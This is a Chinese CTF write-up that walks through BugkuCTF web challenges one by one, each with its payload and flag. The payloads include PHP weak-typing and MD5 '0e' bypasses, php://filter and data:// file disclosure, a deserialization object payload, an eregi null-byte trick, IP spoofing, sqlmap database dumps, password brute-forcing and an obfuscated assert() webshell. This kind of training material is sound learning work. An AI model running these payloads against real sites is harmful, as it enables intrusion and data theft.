BugkuCTF~Web~WriteUp

今天把之前做的题整理一下,方便有需要的人学习 φ(゜▽゜*)♪

1、web2

考点:F12的利用

Topic Link:http://123.206.87.240:8002/web2/

打开连接,特别的不一样,直接F12可得flag

get flag:

flag KEY{Web-2-bugKssNNikls9100}

 

2、计算器

考点:F12的利用

Topic Link:http://120.24.86.145:8002/yanzhengma/

发现输入框对输入的数据长度有限制,F12进行修改长度输入正确结果即可获得flag一枚

get flag:

flag{CTF-bugku-0032}

 

3、web基础$_GET

考点: 代码审计、$_GET利用

Topic Link:http://120.24.86.145:8002/get/

传送$_GET型数据即可获得flag一枚

get flag:

flagflag{bugku_get_su8kej2en}

 

4、web基础$_POST

考点:代码审计、$_POST利用

Topic Link:http://120.24.86.145:8002/post/

提交$_POST数据即可获得flag一枚

get flag:

flagflag{bugku_get_ssseint67se}

 

5、矛盾

考点:php弱类型

Topic Link:http://120.24.86.145:8002/get/index1.php

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

看了确实矛盾,不让传递纯数字数据却要和纯数字1相等,该怎么办呢,

这里可以利用PHP的“==”弱类型漏洞进行绕过

构造playload为http://120.24.86.145:8002/get/index1.php?num=1aaa即可获得flag一枚

get flag:

 flag{bugku-789-ps-ssdf}

 

6、web3

考点:编码&解码

Topic Link:http://120.24.86.145:8002/web3/

提示flag在这里那就在这找吧,F12得到一串特殊的字符串,进行ASCII转化或者直接放入浏览器的地址栏里直接回车即可获得flag一枚

 get flag:

KEY{J2sa42ahJK&#4}

 

7. 域名解析

考点:域名解析

Topic Link:flag.bugku.com

按题目要求域名解析flag.bugku.com,才能得到flag

配置hosts文件,将120.24.86.145 flag.bugku.com添加进去,然后访问flag.bugku.com即可获得flag一枚

Linux系统在/etc/hosts目录下,修改需要root权限

windows系统在c:windowssystem32driversetchosts目录下,若不让修改,可以把之前的进行备份然后新建一个hosts文本文档进行追加覆盖

 get flag:

KEY{DSAHDSJ82HDS2211}

 

8. 你必须让他停下

考点:网页抓包分析

Topic Link:http://123.206.87.240:8002/web12/

 

发现页面一直在闪动,F12可看到flag is here~,先用BP抓个包分析可知一直点击go的时候,服务器的响应报文中一个图片><div><img src="10.jpg"/></div>一直在变,发现当如果是10.jpg的时候服务器的响应报文中有flag

 get flag:

flag{dummy_game_1s_s0_popular}

 

9. 文件上传测试

考点:文件上传

Topic Link:http://103.238.227.13:10085/

按要求提交一个PHP文件,服务端却提示非图片文件

尝试改后缀名为图片格式(jpg png gif)却不行

可能就是Content-Type的缘故,BP抓包,将Content-Type改为image/jpeg即可得到flag一枚

get flag:

Flag:42e97d465f962c53df9549377b513c7e

 

10. 变量1

考点:php变量覆盖漏洞 $$

Topic Link:http://120.24.86.145:8004/index1.php

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

分析代码可以发现是php变量覆盖漏洞,构造payload

http://120.24.86.145:8004/index1.php?args=GLOBALS

打印变量表中的所有变量,即可获得flag一枚 

 get flag:

flag{92853051ab894a64f7865cf3c2128b34}

 

11. web5

考点:JS

Topic Link:http://123.206.87.240:8002/web5/

不知道submit什么,先查看源代码发现有一段JS编码,直接放到控制台就得到了flag

 get flag:

ctf{whatfk}

 

12. 头等舱

考点:网页抓包分析

Topic Link:http://120.24.86.145:9009/hd.php

里面什么都没有,先抓个包看有没有有用信息,结果服务器的响应报文头部包含flag

get flag:

flag{Bugku_k8_23s_istra}

 

13. 网站被黑

考点: 字典爆破

Topic Link:http://123.206.87.240:8002/webshell/

根据提示网站存在漏洞,利用御剑扫描工具进行扫描

进入shell.php网页中,发现需要密码验证,利用burpsuite进行爆破

爆破对象

字典选取

 读取结果

输入pass: hack

get flag:

flag{hack_bug_ku035}

各类爆破字典集下载:

GitHub项目地址:https://github.com/Qftm/Blasting-dictionary

 

14. 管理员系统

考点:IP伪造、base64编码

Topic Link:http://123.206.31.85:1003/

F12查看源码发现一个特殊的字符串 <!-- dGVzdDEyMw== --> 进行base64解密之后得到==》test123

利用用户名admin尝试登陆,发现未果,页面还是提示IP已被记录,抓包进行伪造IP,在HTTP请求中添加请求头X-Forwarded-For: 127.0.0.1

在响应包里面的源码里发现包含flag

get flag:

flag{85ff2ee4171396724bae20c0bd851f6b}

 

15. web4

考点:url编码

Topic Link:http://120.24.86.145:8002/web4/

按提示查看源代码

<html>
<title>BKCTF-WEB4</title>
<body>
<div style="display:none;"></div>
<form action="index.php" method="post" >
看看源代码?<br>
<br>
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>

<input type="input" name="flag" id="flag" /> 
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

将p1和p2,“%35%34%61%61%32”进行URL解码或者十六进制转换ASCII(不过需要先去除%)

 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 53 75 62 6d 69 74 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 73 73 77 6f 72 64 22 29 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 29 7b 69 66 28 22 36 37 64 37 30 39 62 32 62

 35 34 61 61 32

 61 61 36 34 38 63 66 36 65 38 37 61 37 31 31 34 66 31 22 3d 3d 61 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 21 30 3b 61 6c 65 72 74 28 22 45 72 72 6f 72 22 29 3b 61 2e 66 6f 63 75 73 28 29 3b 72 65 74 75 72 6e 21 31 7d 7d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 65 76 65 6c 51 75 65 73 74 22 29 2e 6f 6e 73 75 62 6d 69 74 3d 63 68 65 63 6b 53 75 62 6d 69 74 3b

按照eval()函数进行组合,得到一个function函数

function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return!0;
        alert("Error");
        a.focus();
        return!1
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

提交字符串"67d709b2b54aa2aa648cf6e87a7114f1"即可获得flag

get flag:

KEY{J22JK-HS11}

 

16. flag在index里

考点:php伪协议 

Topic Link:http://123.206.87.240:8005/post/

知识简介:

php伪协议:
        file:// — 访问本地文件系统
        http:// — 访问 HTTP(s) 网址
        ftp:// — 访问 FTP(s) URLs
        php:// — 访问各个输入/输出流(I/O streams)
        zlib:// — 压缩流
        data:// — 数据(RFC 2397)
        glob:// — 查找匹配的文件路径模式
        phar:// — PHP 归档
        ssh2:// — Secure Shell 2
        rar:// — RAR
        ogg:// — 音频流
        expect:// — 处理交互式的流 

点击按钮:click me? no 

进入test5界面

分析
?file=show.php
测试是否存在文件包含漏洞
利用php伪协议进行测试
根据题目提示:flag在index里
尝试payload:?file=php://filter/convert.base64-encode/resource=index.php
获取index.php经过base64加密的源码,对其进行解密:

在源码中 get flag:

flag:flag{edulcni_elif_lacol_si_siht}

 

17. 输入密码查看flag

考点:字典爆破 

Topic Link:http://123.206.87.240:8002/baopo/

 

利用BurpSuite进行爆破密码

获取爆破对象

获取爆破字典

 

根据Length获取密码: 13579

 输入pwd:13579

get flag:

flag{bugku-baopo-hah}

 

 

18. 点击一百万次

考点:代码审计 

Topic Link:http://123.206.87.240:9001/test/

 根据页面显示需要点击曲奇1000000次才能够得到flag,是不是感觉很好玩 *-*

查看源码,分析<script>代码

  <script>
    var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
              var form = $('<form action="" method="post">' +
                        '<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
                        '</form>');
                        $('body').append(form);
                        form.submit();
          }
        });
    });
  </script>

通过POST传递数据对clicks赋值大于1000000就可以得到flag,是不是比鼠标点击快好多了,哈哈哈哈哈

get flag:

flag{Not_C00kI3Cl1ck3r}

 

19. 备份是个好习惯

知识简介

strstr()函数语法:

strstr — 查找字符串的首次出现

string strstr( string $haystack, mixed $needle[, bool $before_needle = FALSE] )

返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。 

substr()函数语法:

substr — 返回字符串的子串


string substr( string $string, int $start[, int $length] )

返回字符串 string 由 start 和 length 参数指定的子字符串。 


参数 

string
输入字符串。必须至少有一个字符。 
start
如果 start 是非负数,返回的字符串将从 string 的 start 位置开始,从 0 开始计算。例如,在字符串 "abcdef" 中,在位置 0 的字符是 "a",位置 2 的字符串是 "c" 等等。 
如果 start 是负数,返回的字符串将从 string 结尾处向前数第 start 个字符开始。 
如果 string 的长度小于 start,将返回 FALSE。 

length
如果提供了正数的 length,返回的字符串将从 start 处开始最多包括 length 个字符(取决于 string 的长度)。
如果提供了负数的 length,那么 string 末尾处的 length 个字符将会被省略(若 start 是负数则从字符串尾部算起)。如果 start 不在这段文本中,那么将返回 FALSE。
如果提供了值为 0,FALSENULL 的 length,那么将返回一个空字符串。
如果没有提供 length,返回的子字符串将从 start 位置开始直到字符串结尾。 

返回值 

返回提取的子字符串, 或者在失败时返回 FALSE

str_replace()函数语法:

str_replace — 子字符串替换

mixed str_replace( mixed $search, mixed $replace, mixed $subject[, int &$count] )

该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。 

如果没有一些特殊的替换需求(比如正则表达式),你应该使用该函数替换 ereg_replace() 和 preg_replace()。 


参数 

如果 search 和 replace 为数组,那么 str_replace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数,多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串,那么 search 中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。 
如果 search 和 replace 都是数组,它们的值将会被依次处理。 

search
查找的目标值,也就是 needle。一个数组可以指定多个目标。 
replace
search 的替换值。一个数组可以被用来指定多重替换。 
subject
执行替换的数组或者字符串。也就是 haystack。 

如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。 
count
如果被指定,它的值将被设置为替换发生的次数。 

返回值 

该函数返回替换后的数组或者字符串。 

parse_str()函数语法:

parse_str — 将字符串解析成多个变量

void parse_str( string $encoded_string[, array &$result] )

如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。 

参数 

encoded_string
输入的字符串。 
result
如果设置了第二个变量 result,变量将会以数组元素的形式存入到这个数组,作为替代。 

返回值 

没有返回值。 

md5函数语法:

md5 — 计算字符串的 MD5 散列值

string md5( string $str[, bool $raw_output = false] )

参数 

str
原始字符串。 
raw_output
如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。 

返回值 

以 32 字符十六进制数字形式返回散列值。

 

题目信息

考点:代码审计、MD5

Topic Link:http://123.206.87.240:8002/web16/

 利用御剑扫描工具对网站进行扫描得到一个.bak文件

 

读取.bak文件

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

代码审计发现需要满足几个条件:1. GET方法进行传递数据 

               2. 传递的数据里面需要有两个变量key1和key2

               3.  if(md5($key1) == md5($key2) && $key1 !== $key2)  ==》 TRUE

漏洞利用:1. 用双写key来绕过str_repalce()函数

     2. 利用MD5的特殊字符串绕过if(md5($key1) == md5($key2) && $key1 !== $key2)条件

MD5特殊字符串:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

构造payload:

http://123.206.87.240:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=QNKCDZO

get flag:

Bugku{OH_YOU_FIND_MY_MOMY}

 

20. 成绩单

考点:SQL注入

Topic Link:http://123.206.87.240:8002/chengjidan/

查看界面,进行测试,发现网页通过POST传递ID值来进行改变网页显示内容

分析可能存在SQL注入漏洞,利用sqlmap进行测试

测试代码

python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1"

测试结果,存在SQL注入漏洞,爆出来了数据库

报表

python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag --tables

爆字段

python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag -T fl4g --columns

爆特定字段值

python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump

get flag:

BUGKU{Sql_INJECT0N_4813drd8hz4}

21. 秋名山老司机

考点:脚本编写

Topic Link:http://123.206.87.240:8002/qiumingshan/

根据页面显示,让2s内计算一个公式,口算你认为你可能吗???,编写Python脚本。

但是不知道使用脚本计算出来的结果该怎么处理。出题人可真是老司机!!!!,当页面刷新超过2次时,就会显示不同的页面,提示怎么处理你计算出的结果。

python脚本

import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
R = requests.session()
g = R.get(url)
page = re.findall(r'<div>(.*)=?;</div>', g.text)[0]
result = eval(page)
data = {'value': result}
flag = R.post(url, data=data)
print(flag.text)

脚本的运行需要超过两次,才能够得到flag *_*

get flag:

Bugku{YOU_DID_IT_BY_SECOND}

22. 速度要快

考点:脚本编写

Topic Link:http://123.206.87.240:8002/web6/

查看页面源代码

根据提示需要POST传递一个margin,但是不知道margin的值是什么,于是抓取一个数据包进行查看

发现响应报文里面出现flag,先将其base64解码查看

难道这就是flag?????

通过提交该值,发现并不是(肯定不会这么简单。。。。),根据源码里面的提示margin的值为你发现的东西,猜想margin的值就是flag,当我再次向服务器发出请求时发现flag的值在变化。

现在只有编写脚本   #一定要保证整个操作是在一个session中不然每一次的请求flag的值都不一样

import requests
import base64

url = 'http://123.206.87.240:8002/web6/'
#使用同一个会话
r = requests.session()
#get方式无参请求
get_response = r.get(url)
#bytes.decode("value")方法将byte类型的数据转换成str类型的数据
key = base64.b64decode(bytes.decode(base64.b64decode(get_response.headers['flag'])).split(":")[1])
#post:flag
post = {'margin': key}
post_responese = r.post(url, data=post)
#获取页面内容,使用"value".decode()方法将byte类型的数据转换成str类型的数据,两种引用方式不一样,但效果一样
print(post_responese.content.decode())

运行结果

get flag:

KEY{111dd62fcd377076be18a}

23. cookies欺骗

考点:Cookie、base64编码

Topic Link:http://123.206.87.240:8002/web11/    答案格式:KEY{xxxxxxxx}

 

filename为base64编码,由此读取index.php文件,但是有行数的限制,编写脚本读取index.php文件

import requests
a=50
for i in range(a):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print (s.text)

Result

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

代码审计可知需要构造:

1、cookie:$_COOKIE['margin']=='margin'

2、filename=a2V5cy5waHA=

右键查看源码读取flag

get flag:

<?php $key='KEY{key_keys}'; ?>

24. never give up

考点:eregi()、 代码审计、base64编码、url编码

Topic Link:http://123.206.87.240:8006/test/hello.php

查看网页源代码发现存在 “1p.html” 尝试去访问 http://123.206.87.240:8006/test/1p.html,却跳转到了其它页面,应该是重定向所致,查看1p.html网页源码

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

将Words值进行解码

url解码

<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->

base64解码

";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}


?>

代码审计发现需要满足:1. if(!$_GET['id'])条件为假同时$id==0   //感觉很矛盾但是可以利用php弱类型绕过  !aaa ==> 0 & aaa==0 ==> ture

           2. $data=="bugku is a nice plateform!"  //利用php伪协议赋值

           3. strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4    //利用eregi()函数%00截断漏洞绕过 $b=%00999999999

构造payload:

http://123.206.87.240:8006/test/hello.php?id=aaa&a=data://,bugku%20is%20a%20nice%20plateform!&b=%00999999

get flag:

flag{tHis_iS_THe_fLaG}

 

25. welcome to bugkuctf

考点:php反序列化漏洞、代码审计 

Topic Link:http://123.206.87.240:8006/test1/

页面源代码:

you are not the number of bugku !   
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

代码审计发现需要满足一个条件:1. user的值必须等于"welcome to the bugkuctf"

根据提示 ”include($file);   //hint.php ”  构造初步payload

payload1:

http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=hint.php

读取hint.php文件:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA== 

将获取到的base64代码进行解密,获取hint.php文件源码

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  

payload2:

http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=index.php

读取index.php文件

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg 

将获取到的base64代码进行解密,获取index.php文件源码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

分析代码可知:1. file的值不能包含flag字符串

          2. user的值必须等于"welcome to the bugkuctf"

        3. password 的值必须是经过序列化的字符串

php反序列化漏洞:

当一个对象被当作字符串使用时会自动调用魔法函数 "__toString()"

利用php反序列化漏洞进行构造最终payload 

http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

查看源码

hello friend!<br>  <?php
//flag{php_is_the_best_language}  1
?><br>good  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

get flag:

flag{php_is_the_best_language}

 

26. 过狗一句话

考点:代码审计

Topic Link:http://123.206.31.85:49162/

源码

<?php 
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

代码审计,源码相当于:assert() 执行字符串s

 payload1:读取当前目录下的文件

http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

发现存在特殊文件:

访问:http://123.206.87.240:8010/f14g.txt 读取到flag信息

get flag:

BUGKU{bugku_web_009801_a}

27. 字符?正则?

考点:正则匹配

Topic Link:http://123.206.87.240:8002/web10/

源码

<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>

正则分析

"key":表达式字符串”key“直接匹配

".":匹配除“
”之外的任何单个字符。要匹配包括“
”在内的任何字符,请使用像“[sS]”的模式

"*":匹配前面的子表达式零次或多次。例如,zo*能匹配“z”以及“zoo”。*等价于{0,}

"/":代表“/”

[a-z]:代表a-z中的任意一个字符

[[:punct:]]:匹配其中一个字符: !"#$%&'()*+,-./:;<=>?@[]^_`{|}~

/i:忽略大小写

{4-7}:{n,m},m和n均为非负整数,其中n<=m。最少匹配n次且最多匹配m次

